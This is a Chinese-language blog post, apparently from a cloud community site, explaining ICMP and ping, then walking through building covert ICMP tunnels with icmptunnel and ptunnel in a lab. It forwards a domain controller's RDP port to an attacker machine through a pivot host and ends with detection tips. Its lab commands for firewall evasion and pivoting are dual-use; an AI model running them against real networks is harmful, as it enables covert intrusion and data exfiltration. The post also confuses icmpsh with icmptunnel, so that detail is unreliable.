浅析Icmp原理及隐蔽攻击的方式

举报
亿人安全 发表于 2023/04/25 17:10:54 2023/04/25
【摘要】 一、ICMP隧道技术解析1.icmp协议Internet Control Message Protocol Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用ICMP协议主要提供两种功能,一种是差错报...

一、ICMP隧道技术解析

1.icmp协议

Internet Control Message Protocol Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用

image-20210913172300558

ICMP协议主要提供两种功能,

一种是差错报文,一种是信息类报文。信息类报文包括回显请求和回显应答,以及路由器通告和路由器请求。常见的差错报文类型包括目的不可达、重定向、超时和参数问题。

主要特点:

确认IP数据包是否成功到达目的地

通知源主机发送IP数据包丢失的原因

ICMP是基于IP协议工作的

ICMP只能作用于IPV4,IPV6下,使用ICMPv6

报文格式:image-20210913172314004

image-20210913172324462

ping一下8.8.8.8,然后使用wireshark进行抓包看看。image-20210913172352564

过程:ping 命令使用了两个ICMP 报文

1、向目标服务器发送回送请求

首先,向目标服务器发出回送请求(类型是8,代码是0)报文。在这个回送请求报文里,除了类型和代码字段,还被追加了标识符和序号字段。标识符和序号字段分别是16 位的字段。ping 命令在发送回送请求报文时,在这两个字段里填入任意的值。对于标识符,应用程序执行期间送出的所有报文里填入相同的值。对于序号,每送出一个报文数值就增加1。而且,回送请求的选项数据部分用来装任意数据。这个任意数据用来调整ping 的交流数据包的大小。

2、返回的回应,做出答复。

计算机送出的回送请求到达目标服务器后,服务器回答这一请求,向送信方发送回送请求(类型是0,代码是0)。这个ICMP 回送回答报文在IP 层来看,与被送来的回送请求报文基本上一样。不同的只是,源和目标IP 地址字段被交换了,类型字段里填入了表示回送回答的0。也就是,从送信方来看,自己送出的ICMP 报文从目标服务器那里象鹦鹉学舌那样原样返回了。

送信方的计算机可以通过收到回送回答报文,来确认目标服务器在工作着。进一步,记住发送回送请求报文的时间,与接收到回送回答报文的时间一比较,就能计算出报文一去一回往复所需要的时间。但是,收到的回送回答报文里写的只是类型和代码的话,发送方计算机将无法判断它是否是自己发出去请求的回答。因此,前面说到的标识符和序号字段就有它的意义了。将这两个值与回送回答报文中的相同字段值一比较,送行方计算机就能够简单地检测回送回答是否正确了。执行ping 命令而调查的结果没什么问题的话,就将目标服务器的IP 地址,数据大小,往复花费的时间打印到屏幕上。image-20210913172405883

2、ICMP隧道

(1)原理:

由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性

通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。简单说就是,改变操作系统默认填充的Data,替换成我们自己的数据。

所以现在的ICMP隧道技术,基本采用修改ICMPECHO和ICMPECHOREPLY两种报文,把消息隐藏在数据中,利用ping或 tracert 命令建立隐蔽通道。image-20210913172418763

优缺点

优点:

防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高

缺点:

ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低

利用隧道传输时,需要接触更低层次的协议 ,这就需要高级用户权限。

二、隧道搭建

方法1:使用icmpsh搭建

1.首先使用git下载:https://github.com/jamesbarlow/icmptunnel

image-20210913172430629

2.然后安装依赖库,apt-get install python3-impacket

image-20210913172510161

3.使用sysctl -w net.ipv4.icmp_echo_ignore_all=1 ,将icmp的程序替换image-20210913172522994

4.输入./run.sh启用

image-20210913172532943

5.输入目标ip

image-20210913172549116

6.成功连接。

image-20210913172557613

7.查看目录。

image-20210913172629528

方法2:pingtunnel

image-20210913172637412

1.在官网进行下载:http://freshmeat.sourceforge.net/projects/ptunnel/

image-202109131727107852.进入文件目录,然后使用make && make install 进行编译安装。

image-20210913172721874

3.然后安装缺少的依赖文件pcap.h.

image-20210913172739588

4.使用tar命令进行解压。

image-20210913172757118

5.然后使用ptunnel -x 进行测试。

image-20210913172811457

下面是我用win7做边界web服务器,然后把内网的域控3389端口转发到外网的kali上面。

这是win7的内外网ip

win7内网ip:1.1.1.11

外网ip:192.168.2.183

windos也可使用此工具,不过需要在内网windows机器上安装wincap类库。

image-20210913172842090

域内主机:winserver12:1.1.1.2

image-20210913172904795

攻击机IP:192.168.2.181

kali的IP

-x 指定ICMP隧道连接的密码 -lp 指定要监听的本地TCP端口 -da 指定要转发的目标机的IP -dp 指定要转发的目标机的TCP端口 -p 指定ICMP另一端机器的IP

攻击机开启隧道 ptunnel -x abc

image-20210913172920413

实验过程:在跳板机执行 ptunnel -x 密码

image-20210913172948536在目标机执行:

windows版本

ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.2 -dp 3389 -x abc

image-20210913173008028

然后使用远程连接:

rdesktop -g 1440x900 -u saul -p saul 127.0.0.1:1080

linux版本:

连接22端口

ptunnel -p x.x.x.x -lp 1080 -da x.x.x.x -dp 22 -x abc

image-20210913173036168

三防御ICMP隧道攻击的方式:

1、检测同一源的ICMP数据包的流量。一个ping命令每秒发送2个数包,而使用ICMP隧道的浏览器会发送上千个ICMP数据包

2、注意那些payload大于64bit的ICMP数据包

3、寻找响应数据包的payload与请求数据包的payload不一致的ICMP数据包

4、检查ICMP数据包的协议与标签。例如,icmptunnel会在所有的ICMP payload前添加”TUNL”标记来识别隧道。

总结

这篇文章主要简单分析了一下Icmp协议的简单通信原理以及ICmp通信过程,还包含了使用icmpsh和pingtunnel这2种工具进行建立隐藏隧道进行隐蔽攻击。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。